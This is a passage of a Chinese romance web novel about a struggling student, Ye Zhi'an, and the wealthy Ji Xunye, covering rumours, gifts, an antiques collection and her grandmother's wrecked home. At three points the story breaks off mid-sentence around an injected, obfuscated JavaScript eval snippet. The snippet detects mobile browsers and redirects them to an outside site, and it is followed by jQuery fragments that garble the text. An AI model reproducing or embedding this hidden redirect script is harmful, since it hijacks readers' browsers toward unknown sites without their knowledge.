她不知道的是,在他们分开的那几年里,纪浔也也开了家酒吧,里面的招牌就是蓝雪,而这也成为他最爱喝的酒,只是故人不在,怎么都调不出一模一样的味道。 纪浔也又问:“你不想尝尝自己调的酒?” 叶芷安一本正经地说:“不尝,喝酒容易误事。” 他展眉笑,“你怕什么?误事了,不也有我给你担着?” 好容易叫人误会的一句话,叶芷安却不敢放纵自己去误会,挤出一个笑容说:“今天还是不喝了。” 至于下回是什么时候,她无法确定。 纪浔也没在吧台那儿待太久,叶芷安以为他有事离开,心脏突然空了一块。 也就她傻傻的,才会相信他随口说下的“一起走”。 忙了几个小时,叶芷安饥肠辘辘,一出酒吧,就去附近便利店买了个面包,胡乱塞进嘴里。 落地窗外白雪茫茫,灯柱旁站着一个男人,身姿在来往的人群中影影绰绰,半晌他低下头,烟含进嘴里,手腕轻晃,毫不费力地甩开打火机金属盖,火光一明一灭,跑到烟头上,带出丝丝缕缕的白雾。 这烟没抽两口,就被他掐灭,他有所预感地偏过头,脸上的淡漠瞬间瓦解冰消。 这是叶芷安见过纪浔也穿得最多的一次,西装外还披了件灰色毛呢,风衣款式,两侧有肩章拌带,把肩衬得更宽了,活生生的衣服架子,就那么几步路,衣摆飞扬,被他走出T台的气场。 因诧异,叶芷安都忘了自己嘴里还有东西,腮帮子依旧鼓鼓的,看着跟仓鼠一样。 纪浔也笑着上前,扣了扣玻璃,用口型说:“出来吧。” 叶芷安拿上包就走。 “你没走啊?” “你怎么不等我就走了?” ——两个声音同时响起,音色高低不等,融合在一起,莫名好听。 纪浔也没再跟她抢,微挑眉梢示意她先说,叶芷安斟酌好措辞,轻声道:“下班那会,我没看见你,以为你先走了。” 无可奈何的一声轻笑后,纪浔也问:“你到底有多久没看过手机了?” 叶芷安意识到什么,掏出手机看,好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯?”叶芷安不明白他为什么要问这个话题。 “之前从我堂妹那儿听到一个说法,你们女生喜欢把心事写在日记里,比如暗恋哪个男生。” 这话试探的心思并不浅,但那会叶芷安脑袋嗡嗡的,没反应过来,极慢地摇了摇头,不敢看他,生怕得到他洞悉人心的眼神,让自己强行堆砌起的镇定沦落为一个笑话。 偏偏对方不放过她,追问到底:“是不写还是没有暗恋的男生?” 她不着痕迹地碾着底下精致昂贵的羊毛脚垫,一面藏起自己廉价的少女情怀,笑着说了句:“没有。” 他用游刃有余的姿态问出这句话,浑然不知她身体里已经翻起足够将她吞没的滔天巨浪,她无法自救,只能在浪里沉沉浮浮,他却依旧隔岸观火般无所谓地笑着。 这是叶芷安第二次具象化地感受到不为人知的单恋究竟有多不公平。 就像她喉咙早已卡出了血,只要她不张开嘴给他看,他就永远不会知道深处藏着一条又一条锈迹斑斑的气管。 纪浔也明显感觉到车上的气压低沉了些,他猜测自己是哪儿惹到这姑娘不开心了,说来奇怪,看着挺随和的一个人,有时侯气性倒挺大。 眼见燕大校门就在五十米外,他也就不浪费口舌去哄。 车停下后,他从大衣口袋摸出一张卡,递到她面前。 叶芷安没看清卡上的印花,也不敢去看,误以为他搬出的是电视剧里最俗套的包养情人戏码,至于这卡,自然会是未来出卖皮肉色相的回馈。 原来这才是他百般照顾她的目的? 热气腾地往上涌,无地自容的羞耻感严丝合缝地将她包裹住,她不合时宜地想起那晚他在意识朦胧间呢喃出的两个词:听话,别闹。 和此刻他掌心这张卡一样,杀伤力巨大,只不过一个具有揉捏人心的功效,让她欢喜的同时,升起不安的猜疑。 至于另一个,是直接将她的心踩在地上践踏。 “我不要这个。”她从牙关里挤出这五个字,用力掰动车把手。 急转直下的态度让纪浔也又气又笑,精准地拽住她手腕,将人往回拉。 这毫无征兆的一下,导致叶芷安重心不稳,慌忙去找支撑点,最后撑住他的肩。 两个人保持这姿势将近五秒,纪浔也松开手,掌心下滑,顺理成章地擒住她腰间的温软。 “你突然的跟我闹什么脾气?” 他讨厌跟别人解释说明自己的言行举止,今天却为她开了个先例,“我只是想让你在Z&Z的工作结束后,直接上我那儿住一晚,总比你趴在便利店折腾自己要好。可你怎么就把我这好心当成驴肝肺了?” 叶芷安睫毛微颤,垂落的视线停在掉到扶手箱的房卡上,愣住了。 7. 07 第一场雪 叶芷安坐豪车回学校的事,被同专业的人目睹到,恰好这人还和她有些过节,没舍得放过这送上门的泼脏水机会。 一开始说的是:“今天早上,我看见传媒2班的叶芷安从一辆宾利上下来。” 传着传着直接成了:“传媒2班的叶芷安被人包养了。” 就连纪浔也离开前,她礼貌性的弯腰道别,也被当成是摧眉折腰般的讨好。 也有不信的,替她说了几句,结果遭到一顿反驳:“她又不是大小姐,哪开得起这种车?” 散播流言那人叫方敬明,等窸窸窣窣的议论声消停了些,状似无意地扬起嗓门来了句:“能坐上豪车的,除了有钱人,不还有想攀高枝的吗?” 点到为止,话外音却再清晰不过。 方敬明觑着这群人的反应又说:“听说林教授有意把下学期的交换生名额给她……也不知道这里面是不是有什么弯弯绕绕,毕竟投机取巧过一次,尝到甜头的人很难再走上正途。” 子虚乌有的罪名一个接一个地扣到头上,说不生气是假的,但叶芷安也没太耿耿于怀。 已经是大三,每个人都忙着替自己的未来奔波筹谋,没那么多闲工夫用在持续性谈论捕风捉影的流言上,等到这波热度散去,有心看她笑话的人再提起她的名字,没准还会反问一句:“谁是叶芷安?” 更何况,人在施展恶意中伤别人的时候,多半就是他自己过得最不如意顺心的阶段,她犯不着跟这样的人怄气。 苏念比叶芷安要气恼许多,方敬明舞到面前时,直接代她怼了回去,“我倒是听说你们班那四十来岁的辅导员三天两头就把你叫出去,私底下一待就是俩小时……我挺好奇,这段时间里你俩是纯聊天,还是纯盖棉被,总不可能是盖上棉被纯聊天吧?” 方敬明的反应像被人戳破了什么遮羞布,瞬间涨的脸红脖子粗,众目睽睽之下,好半天才憋出一句:“你说这话有什么证据?” “证据这东西不是光靠一张嘴就能造出来的吗?” “你!” “这就戳到你肺管子,恼羞成怒了?” 方敬明词穷得更厉害了。 苏念不依不饶,字字戳心,“说起下学期的交换生名额,我听说你也是申请了的,怎么,你是想通过给我们小叶泼脏水的垃圾手段,抢走她的名额啊?我就说呢,刚才什么声音这么响——”苏念跟算命先生一样,故弄玄虚地眯起眼,又压着音拖着调嗯了声,恍然大悟道:“原来是某些人心里的小算盘打得震天响。” 有人扑哧笑出声。 叶芷安两个小时后听说的这事,仔仔细细地打量了会苏念,“你没受伤吧?” “动动嘴皮子的事,能受什么伤?” “可我听说方敬明对你动手了。” “是对我动手了,但被我给躲开了,倒是你——”苏念点了点她手臂上破了皮的伤口,“怎么回事?” 另一室友抢答,“以为你真被打了,想着去替你讨要个公道,结果反被方敬明推了把。” 苏念服了,自己的事一点都不上心,一听说她出事了,立马挺身而出。 这姑娘傻不傻啊。 叶芷安连忙接上:“我也还手了啊,他那金针菇现在估计还疼着呢。” 寝室里没有一个憋住笑。 此起彼伏的笑声里,叶芷安看向苏念,“再有下回,你别替我出头了。对了,今早我让你帮我带早餐的钱我还没转你。” 她边说边掏出手机。 “不就是俩包子钱,你跟我分这么清做什么?” 苏念是真心实意拿叶芷安当朋友看的,但叶芷安似乎对谁都一样,看着友好热情,能帮忙的都会去帮,实际上总让人感觉在她面前有道无形的屏障,怎么也走不进她心里去。 叶芷安认真说:“我没有不把你当朋友,我只是怕自己有一天什么都不付出、什么也不想付出,就能心安理得接受别人的善意。” 她最不想成为的就是这类人。 苏念沉默了会,“那也别还了,请我喝杯鲜榨豆浆吧。” 叶芷安没有说不的道理,买豆浆的路上,遇到同班的余颂,柔着声线问她没事吧。 看来方敬明推她的事已经传了出去。 叶芷安能感觉到余颂对自己不太一样,应该是喜欢的,但他从来不挑明,让她连拒绝都没有切入口。 说起来男人好像都喜欢用这一招,宁愿暧昧不清地纠缠着,也不肯直截了当地给这段关系下个定论,恨不得从头到尾牢牢将主动权掌握在自己手里。 叶芷安摇摇头,也不跟他多说,“我们还有事就先走了。” 两人往前走出几步后,苏念回头看了眼,发现余颂还盯着叶芷安的背影,忍不住埋汰了句:“既然不表白,那就别把小心思写脸上啊,搞得跟我们家小叶故意吊着他一样。” 叶芷安刚想回句,苏念忽然凑到她耳边,神秘兮兮地问:“豪车上的是你男朋友吗?” 她实话实说:“不是。” 至于是认识的人,还是普通朋友,又或者是暧昧对象,她确定不了——怪他们给对方的态度太模棱两可。 “你一点都不怀疑他们说的或许是真的吗?”叶芷安问。 苏念毫不犹豫:“当然不怀疑,你做事一向问心无愧。” 叶芷安眼帘微垂,“我也不是完全的问心无愧。” 她的声音太轻太轻,风一吹,连尾调的叹息都捕捉不到。 当天晚上,叶芷安收到纪浔也消息,告诉她明天的约他赴不了了。 她没问理由,只回了个“好”的表情包。 周三不下雪,见不到他是正常的。 叶芷安这么安慰自己,然而一直到周六,纪浔也都没再来找她,就和人间蒸发了一般,也可能是对她失去了兴趣。 零点一过,天空开始飘起雪花子,一直下到第二天清晨六点才停歇,三小时后放晴,积雪慢慢开始融化。 叶芷安换上轻便的衣服,陪盛清月去了趟医院做肠胃镜,送人回住所后不久,被陆显赶出门,接下来都没什么安排,她直接回了学校,在校门口被一辆黑色奔驰拦下。 司机有张陌生面孔,一下车,就表明自己身份,“叶小姐你好,纪二少爷让我来给你送样东西。” 叶芷安接过他递来的纸袋,视线往里眺,只看见包装精美的首饰盒,心跳陡然漏了两拍,回寝室后,她才敢打开。 是一条四叶草手链,梵克雅宝品牌,售价七万。 对他来说一文不值,拿在她手上,却像烫手山芋一般,她无法说服自己只将它当成普通礼物看待。 这几天不知道是第几次点开他头像,一番挣扎后,敲下:【你为什么要送我手链?】 纪浔也是在半夜两点回的消息:【睡了没?】 她哪能睡得着? 叶芷安:【还没有。】 纪浔也:【打电话?】 她迅速爬下床,攥着手机走到阳台。 北城的冬夜,不下雪时又干又冷,她身上只有一件单薄的睡衣,冻得她直打寒战,开口时倒听不出有颤音,“你在外面吗?” 背景音很杂,有音乐声,也有插科打诨的笑声,纸醉金迷的夜生活藏也藏不住。 纪浔也说:“有人组了局,闲着没事就去玩玩。” 他今晚灌下的酒应该比在Z&Z那晚更多,嗓音也被熏得更加低哑,还有些性感。 叶芷安有一下没一下地揪着纽扣,数秒后进入正题,“手链也是礼物吗?” “算赔礼。” “我不明白。” “你之前在我车上落下一条红绳,”纪浔也没把纪时愿出卖,只说是后来不小心弄丢了,“这条手链是给你的赔罪礼。” 叶芷安的关注点有些清奇,“真的只是不小心弄丢吗?” 纪浔也从小没少扯谎应付长辈,今晚不知怎的,在她的质疑下,突然说不出话来。 叶芷安没再等下去,“我不要这条手链。” 她的嗓音突然像从高处掉落的水珠,经过魔幻般骤变的气候,凝结成冰,一颗颗地砸在金属制成的碗盆里,冷而间奏分明,藏着什么似的。 听筒里的嘟声传进耳膜时,纪浔也大脑出现长达两秒的空白,然后是嘲弄和烦躁,赵泽走到阳台,颇没眼力见地勾住他肩膀,还想跟他碰杯,被他一个转身避开,手机随手抛到茶几上,与玻璃相撞,发出不小的声响。 所有人停下,整齐划一地看过去。 纪浔也走到纪时愿跟前,旁若无人地问:“那条红绳你给扔哪儿了?” 纪时愿一开始没反应过来,隔了几秒皱着眉才回:“就随便找了个垃圾桶扔了啊。” “随便是哪个?” 他这架势看着有点瘆人,眼尾被酒精沾染的红意更是挖深他的眼窝,背光下,瞧出几分瘾君子模样。 “我家客厅里的。” 在纪家,纪时愿最亲近也最害怕的就是这大她没几岁的二哥,看着不务正业,实际上谁都琢磨不透他到底在想什么,这会她却莫名有点理解他的意思,瞪大眼睛,“你该不会想把这东西找回来?你这是喝酒喝傻了?这都多久前的事了,你就算翻遍垃圾回收站,都不可能找得到的。” 她话还没说完,纪浔也拿上手机和外套离开,大步流星的姿态在半空刮出一道道凛冽的弧度。 纪时愿心一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135454|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不放心地跟了上去,半路被赵泽拦住,“什么红绳?谁的?” 她有些急,没过脑就说:“还能是谁的?二哥身边的女人。” 她挣脱开赵泽的束缚,高跟鞋敲得哒哒响,留下一群人面面相觑。 纪浔也没走远,站在路口抽烟,先听见纪时愿的声,才看见的人,是松了口气的反应,“我还以为你发昏,想去翻我家客厅的垃圾桶了。” 风不小,吹散脑袋里的混沌,理智归拢,他笑着揉了揉太阳穴,“你说得对,我刚才是有点发昏了。” - 那一晚,叶芷安没怎么睡,满脑子都是蓦山溪那晚她坐在他车里发生的事。 一帧帧,一幕幕,就连每句对白她都记得清清楚楚。 她不想那程过后,他们之间再无交集,所以才想要留下些什么,好名正言顺地得到下一次见面的机会,但她心里又觉这样的做法有些卑劣,迟疑间,听到那声“叶昭昭”,不甘心充斥她的大脑——她不止想要下次见面,她还想要他深深记住她的名字。 红绳就这么给扯断了。 心血来潮做出的决定,不到两小时就开始后悔,后悔自己不该用外婆亲手编织的礼物当成她孤注一掷的赌资。 最后的结果证明,这局她输得一干二净。 也是,在她眼里珍贵的东西,对他这样的有钱人而言,多半只是一个该被分类处理的垃圾。 扔了,才是最寻常的做法。 她该去责怪的,是自作聪明的自己。 通话早已结束,屏幕也一直暗着。 叶芷安却觉手机内部系统还处于极速运作状态,烫的她快要握不住。 更深层次的懊恼涌上心头。 如果将他这几天对自己的特殊照顾视为宠溺,那刚才她不留情面掐断电话的行为应该就是在恃宠而骄,或者说是得意忘形。 叶芷安将脸藏进棉被里,在窒息感涌上前,兀自做了个决定:要是明天下雪的话,她就去见他。 这一觉睡得昏昏沉沉,迷蒙的视线里,窗外的世界白得有些晃眼,她一下子清醒过来,下床给自己换了身衣服,也是她衣柜里最能拿得出手的一套。 她还让苏念给她卷了头发,往脸上抹了层清透的淡妆。 苏念好奇地问:“你今天也要去剧组跑龙套啊?” 不对啊,以前她接这活,都没见她这么大架势。 叶芷安摇头说:“我去还个东西。” 快到酒店时,叶芷安心里突然多出精心装扮反倒用力过猛的羞耻感,下意识抬手扯掉金属月亮边夹。 什么还东西、道歉,说白了,全是为了见那个人找的借口罢了。 不然哪值得她这么兴师动众? 她摸了摸口袋里的房卡,犹豫了会,走到前台登记处,接待员回了句稍等后,拨通纪浔也房间的座机。 好一会儿,对面才接通,大概是说了句“带她上来”,叶芷安就被人领到房门口,滴的一声,房门开了。 她看见纪浔也正靠在客厅沙发上。 遮光窗帘半拉着,投射进来的白寥日色仿佛只钟爱他一人,在他质感垂顺的睡衣上错落成星星点点的光晕。 明显是没休息好,他眼底笼着一层青黑,看向她的眼神云遮雾罩的,什么光都穿不透,停留不到三秒收回,起身,目不斜视地从她身边走过,周身散发出的冷冽气场能让人浑身一颤。 叶芷安迟疑了会,跟上前,回神才发现自己跟进了卧室。 纪浔也突然停下,侧过身看着她,嘴角泄露一点凉薄的笑,却不说话。 叶芷安扯扯他衣摆,轻声问:“你生气了?” 她问了句废话,就是不知道他这副冷冰冰的姿态是起床气作祟,还是昨晚那通不了了之的电话导致的。 纪浔也清醒了些,笑容跟着扩大,嗓音也柔和下来,“不是给你卡了?干什么非得让前台先来征求我的同意,故意折腾我呢?” 她小声辩解,“我也不知道你十一点了还在睡啊。” “那你知不知道我到底为什么十一点了还在睡?” 叶芷安想要让气氛变得轻松些,半开玩笑地说:“你昨晚做贼去了?” 这话落下没两秒,她整个人被压到床上,男人柔软的唇,有意无意地擦过她额头,留下难以忽视的温热。 黏黏糊糊的边界感一下子被冲垮,残渣里全是说不清道不明的旖旎,混进他低磁的声线:“你怼死我算了。” 叶芷安这次依旧滴酒未沾,但和酒吧那晚不同的是,今天烧的是大脑,就在空濛的光影里,她切切实实体会到一把酩酊大醉的滋味。 直到他微凉的手指撩开她毛衣下摆。 8. 08 第一场雪 叶芷安僵住不敢动了,眼神倒不怎么安分,顺着他低垂的领口往里瞧,一眼望尽他匀实的胸肌和漂亮的人鱼线条。 热气轰地一下冲到脸上,耳朵也烫,耳膜更是被他清冽的气息蛊惑到嗡嗡作响,显得他接下来的那声笑不太真切。 她发现他真的很爱笑,笑容里却总瞧不出太多情绪,只让人觉得和他这个人一样散漫、疏离,是块捂不热的坚冰。 这会的笑与众不同,参杂着温度,还有调侃与逗弄,蔫儿坏。 “你先起来。”她从喉管里艰难挤出一声。 纪浔也难得起了顽劣心思,自然不把她的恳求当回事,依旧直勾勾看着她,看她细软的发丝凌乱无序地铺在床上,像铺开满室的玫瑰,看她一双清亮的瞳仁,里面有执拗,有羞怯,还有浑然天成的纯真。 心莫名软塌塌地陷下一角,挣扎过后,没再用侵占性的眼神去索取她身上所有最让人着迷的地方,跟着躺了下去,手却不肯松,搭在她腰际,半晌来了个无关紧要的问题:“你这头发天生的?” 比焦糖栗子色要浅,阳光下泛着金灿灿的色泽。 叶芷安注意力瞬间被转移走,没那么不自在了,点了点头,“我上学那会,经常被老师误认为我染了头发,还让我去染回来。” “是因为营养不良?” 她继续点头,“我缺锌。” 纪浔也笑,“哪个xin?” 叶芷安一时没藏住情绪,放肆地瞪他,“总不可能是心眼的心。” 纪浔也听愣了一瞬。 亏他一开始还觉得她性格软,对谁都随和、好说话,现在相处的时间越多,越觉得不对劲,在她面前,好像被拿捏的人一直是自己。 在接受这个现实和替自己找回些主动权之间,他选择后者,倏然将手臂箍紧。 离得实在近,就算听不见彼此胸腔里狂跳的心,也能感知到自己忽然间变得急促的呼吸节奏,叶芷安喉咙不由一紧。 她并不抗拒反感他的触碰,但她不想在不清不楚的关系下,被动接受他的垂青,或者说在心意相通前,先一步品尝到肉|体的欢愉。 她的背绷得实在硬,纪浔也想忽视都做不到,曲指轻轻敲她额头,“别想太多,我不对你干坏事,只是想让你陪我安静睡一觉。” 他格外强调“安静”两个字,叶芷安半信半疑,极轻地应了声。 这姿势不太舒服,加上他的存在感实在强,叶芷安没指望自己能睡过去,最后却睡得前所未有的熟,甚至比他醒来的还要晚。 没多久,服务员送了桌西餐上来,摆盘精致,还给他们点上香薰蜡烛,方桌正中间放有一束花,闻不出什么味,纯装饰作用。 纪浔也脑袋彻底清醒,胃还是不舒服,咀嚼的动作比平时慢上几拍,结果对面的人更慢,看着比嚼皮带还要艰辛。 他唇角微动,稍作迟疑后带出一句:“你说的对,确实不是不小心弄丢的。” 这话题挑明得突然,叶芷安差点没反应过来。 纪浔也没给自己找借口,“被我堂妹以为是不要的东西,丢了,我没拦下,是我的问题。” 她低着头哦了声。 “送给你的那条四叶草手链,你要是喜欢就留下,不喜欢就算了。” 她还是哦。 还挺难哄。 纪浔也放下刀叉,双手交叠托住下巴,含笑的眼神递过去,“至于为什么想送你,弄丢了你的东西想补偿是一方面,另一方面,仅仅只是因为想送你。” 听人说四叶草的寓意之一是幸运,当下他就鬼迷心窍地想到了她,希望这姑娘辛苦劳碌的生活能赶紧过去,往后的每一天,都是幸运快乐的。 当然他也存了几分私心——想看到她浸润着亮光的那双眼。 哪成想,最后的结果颇有种“偷鸡不成反蚀把米”的讽刺感。 叶芷安握了握拳,“我要是不收的话,你会把它给谁呢?” “你当我是赵泽那种花花蝴蝶,身边有一堆人?这个不行,总会有下个愿意收?”说不上恼,但心里也舒服不到哪儿去。 纪浔也沉着嗓说:“这条链子我只想送你。” 叶芷安心脏砰砰直跳,“那我收下,谢谢你,纪浔也。” 纪浔也一顿,忘了这是她第几次正儿八经地叫自己全名,细细柔柔的调,乍一听,饱含浓情蜜意,能把心脏裹成糖霜。 用完餐后,纪浔也问:“今天都没课?” “没有,但晚上八点学生会要开会。” “你还是学生会的?”这姑娘一天真的只有24小时? 叶芷安点头,“不过这学期结束我就要退了,从下学期开始,我要专心赚钱。” 她无遮无掩地吐露着自己的欲望,纪浔也丝毫不觉反感,又问:“这学期什么时候结束?寒假有什么安排?” “过几天就期末考了,考完我可能直接回孟溪镇,外婆身体不好,我想趁着假期多陪陪她。” “在这儿的工作不管了?” “很多都是兼职,不请假也没事,回来再找,至于长期的,我都已经打过招呼了。” 纪浔也没再说别的,两小时后送她回了燕大,目送她离开前问:“回梦溪镇前有没有时间出来?” 叶芷安思考几秒点头,等车消失在茫茫雪色中,才想起自己忘了问他他要带她去哪儿。 纪浔也也忘了说一句话,今天精心打扮过的昭昭小姐,分外迷人。 - 明轩居是北城一大稀罕地,位于皇城脚边,闹中取静,内景参考苏州园林设计,每一处都历经过能工巧匠的精雕细琢,山石盆景苍翠挺拔,亭台楼榭与湖光水色交相辉映,锦鲤徜徉其中,增添一抹亮色。 叶芷安一开始还以为这是喝茶听曲的地方,听人介绍才知道这是一藏宝阁,珍藏的全是明清时代遗留下来的古董玩意儿,不对外售卖,就连参观,也必须经由熟人引荐。 她这趟能大开眼界,算起来是沾了纪浔也的光。 明轩居的老板比叶芷安想象的年轻许多,看着三十不到,一身浅空色中式长袍,眉目清隽,书生气满满,举手投足间尽显优雅。 “你今天哪来的兴致上我这儿?”开口时,沈确还没注意到纪浔也身后有人。 “来你这儿拿块翡翠。” 他们之间不说买——两家最不缺的就是钱,来往讲求一个人情。 “那你自个儿挑吧。” 沈确撩起眼皮,陌生面孔让他一愣,“你带来的?” “不然是凭空冒出来的?” 叶芷安大大方方地打了声招呼:“你好。” 沈确对谁都冷淡的毛病犯了,微微点了下头,什么都没说。 叶芷安扯扯纪浔也衣袖,压着音量问:“我可以去别的地方看看吗?” 纪浔也让人给了她一包饲料,“去喂吧。” 她诧异地瞪大眼睛,“你怎么知道我想喂锦鲤?” “刚才来的路上,眼睛都掉池里了,再看不出来,就是我眼瞎。” “……”小姑娘头一甩,跑远了。 纪浔也收起笑,找了个位置抿了几口茶,又百无聊赖地玩了会手机,看向一旁的金丝楠木储物柜,目光掠至第二层时,突然定住。 许久,他才抬起手,指着那枚白玉雕凤首发簪,问:“这东西怎么在这儿?” 每个字音都被他压得无比紧实,白皙的脸上不见平日的温和,覆盖着一层坚冰,连嘲讽的笑都捕捉不到分毫。 沈确泰然自若地回:“你爸存在我这儿的。” 纪浔也笑了声,“他凭什么动她的东西?” 就凭他是她丈夫。 沈确心里有分寸,这话到底没说出口,“你们的家事我不清楚,也不想掺合进去,你要真想知道,就自己去问他。” 气压降至谷底,恰好这时,叶芷安折返回来,第一时间接收到纪浔也沉到发冷的眸光,心下一凛。 他直挺挺地站在光影交接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14135455|150068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地带,仿佛有团无名火,裹住了他这一身的锦绣华服,他的表情越冷,这火烧得越旺,寸寸成灰。 沈确做出些让步,“不过你是他儿子,有权利把他存放在这儿的东西带回去。” 纪家上一辈遗留下一堆烂摊子,他沈家收不了,也不敢收,现在能有这机会将这烫手山芋转让出去是求之不得。 纪浔也抬起手,用指腹感受发簪上的精致纹理,长睫一敛,哑声说:“算了,先放你这儿。” 沈确没再多说,目光挪到叶芷安身上,一声“叶小姐”将纪浔也的注意力转移走了。 纪浔也变脸一般地恢复了正常,柔声问:“有没有看中意的?” 叶芷安摇头,可就算有,她也只会说没有。 沈确饶有兴味地看着两人的互动,一面在心里好奇这女生到底什么来头,居然还能让纪二上了心,甚至都不敢在她面前展露自己的狠戾。 不过他的兴致只维持了几秒,像他们这样的钟鸣鼎食之家,滚滚而来的红尘里全是烂掉牙的风月俗事,恩怨痴缠轮番上演,没什么稀奇的,认准一人地老天荒才叫人惊掉下巴。 纪浔也最后带走了一枚观音翡翠雕件,就装在老山檀香藏盒里,上车后,盒子一直没离开过叶芷安的大腿。 但她也不是抱着十二分唯恐这东西磕着碰着的警惕,半路人就靠在椅背上睡了过去,风雪停歇不久,她鼻尖扑进来一阵好闻的气息,将她叫醒。 近在咫尺的深邃眼睛,化身成藤蔓,缠了上来,叶芷安呼吸一滞,随即看见自己耳侧垂下的一绺发丝落到他肩上,掉落的同时,他笑说:“替你解个安全带。” 昏黄的灯光模糊他的表情,这抓耳的笑声倒分外清晰,散发出一种让人怦然心动的纵容。 她瓮声瓮气地回了个“哦”。 纪浔也退了回去,“看过里面的雕件没有?” “看过了,”她一时词穷,“挺精美的。” “喜欢就带走。” 他口吻随意,看向她的眼神却在传递出一种坚持,仿佛她不从他身上拿走什么,这车是下不了的。 叶芷安若有所思地垂下眼,抬头时脸上带点笑,“那就把盒子给我好了。” 她以为自己干了回“买椟还珠”的事,实际上外面的木盒才是真的价值连城。 材质是其次,贵重在于上面的浮雕,出自明代一雕刻大师之手,山水远近呼应,浅剔深刻,虚实难分。 - 纪浔也前脚刚走,后脚纪时愿风风火火地出现在明轩居,“我二哥是不是来过?” “五分钟前走了。” “他一个人来的?” 沈确眼皮一抬,不答反问:“你来这儿是专门向我打探你哥的行踪?” 纪时愿被他不含温度的眼神盯到不自在,想起昨晚的荒唐事后,鸡皮疙瘩瞬间起了一身,“我来这儿是为了提醒你,不该记住的事情,千万别记住,不然我要你好看。” 沈确头一回听到这么没有威胁力的狠话,勾唇笑起来,“你怕什么?” “我有未婚夫,你说我怕什么?” 沈确还真不把岳恒放在眼里,“他可以当他的浪荡蝴蝶,你为什么就不能玩你的?” 看着光风霁月的一个人,内里却是这般寡廉鲜耻,纪时愿吓了一跳,头也不回地离开,今天是她自己开车出的门,心脏还处于七上八下乱动的状态,油门踩得异常猛,以至于没开上高架,先追到了纪浔也那辆车。 她没看错的话,副驾驶室确确实实坐着一个人,女的,年龄应该不大,轮廓看着几分眼熟。 纪二还真外头有人了? 要是被刚退婚的温迎知道了,不得闹死? 纪时愿不知道的是,聚会那晚自己无心说出的那句“是我二哥身边的女人”已经在他们这圈子里激起千层浪,兜兜转转,水花最后还是溅到了温迎耳朵里。 只是不巧,温迎上燕大找人那会,叶芷安刚结束期末考,提前回到梦溪镇。 9. 09 第一场雪 叶芷安是接到外婆出事的电话,才决定提前回梦溪镇。 哪成想航班延误近两小时,害她没赶上外婆的出院时间,回到家后,发现家里的院门被人砸出一个大洞,门栓也坏了,架在半空摇摇欲坠。 屋里更是一片狼藉,到处可见陶瓷碎片,裸露在外的电线全被人剪断,窗户玻璃被石头砸出几块蜘蛛网般的痕迹,每块中间都有一个硬币大小的缺口,不到十度的天,湿冷的风就顺着这些漏洞往里钻,叶芷安感觉有根针在往自己最脆弱的神经处扎,没完没了的。 她越过碎渣,一路跑到二楼,外婆也刚回来不久,正靠在床头喝药,床边还站着一二十出头的青年,穿得随意,卫衣牛仔裤,外罩一件黑色棉服,板鞋洗到发白,个子偏高,弓着背才没让自己脑袋抵到房梁那儿。 他看过来,一双眼睛冷而傲,对上她诧异的神情后,眼风才敛下些,瞳仁中闪烁着零星的光。 叶芷安敛神,掠过他看向林薇霞,“外婆,你哪儿伤着了?快让我看看。” 她作势就要去掀被子,被林蔚霞拦下,拍了拍她手背,“多大的人了,怎么还咋咋唬唬的?小江,不好意思啊,让你看了笑话。” 江遇紧盯着叶芷安的后脑勺,缓缓摇头,“既然她回来了,那我就不打扰你们,您好好休息。” “好,这几天辛苦你了。” 咿咿呀呀的木梯晃动声响了一阵,和脚步声一起消失,叶芷安藏住多余情绪,握住林蔚霞的手问:“到底哪儿伤着了?” “扭到了腰,没什么大碍。” 叶芷安怕弄疼她,不敢把脑袋贴在她胸口,只轻轻抱住她手臂,“下回别说住院,你就算受了一点小伤也得告诉我。” “打个喷嚏要不要告诉你呀?” “外婆!我没在跟你开玩笑。” 林薇霞拿她的执拗没办法,连着说了三个“好”,然后提到江遇,“刚才小江在的时候,你怎么不跟他打声招呼?你不在我身边的时候,可都是他一直在照顾我,怎么着也得跟人道个谢吧。” 叶芷安咬着嘴唇没往下接。 人情世故她都懂,只是她心里过不去那关。 高考结束的那年夏天,放高利贷的听闻她考上燕大,被镇上奖励一大笔钱,立刻带人上门催债。 然而那钱一部分已经被用作林薇霞的医药费,另一部分当作未来一年的学费和生活费花了出去,债主得知自己落了空,气急败坏地拿金属棒把家里砸了一通。 叶芷安赶回家时,身上还穿着商演用的齐胸襦裙,妆也未卸,肤色比剥了壳的荔枝还白,柳叶眉,额间一点红,几缕发丝凌乱,反衬得人娇俏、惹人怜惜。 不合时宜的美貌是累赘,也是容易招致旁人不轨之心的祸端,推搡间,她的衣服险些被人扒下,邻居找来的警察及时登门,她才避免“卖身还债”的命运。 那次江遇也在,和她一样的年纪,只是他高二就辍学,跟一帮三教九流混在一起,收收保护费,上门催债却是第一回。 也因道行浅,没见过这样的混乱场面,江遇就和活死人一般杵在门边,有人喊他,他才给出些反应,下意识拉拽了把试图上前保护外孙女的林薇霞,差点让人受了伤。 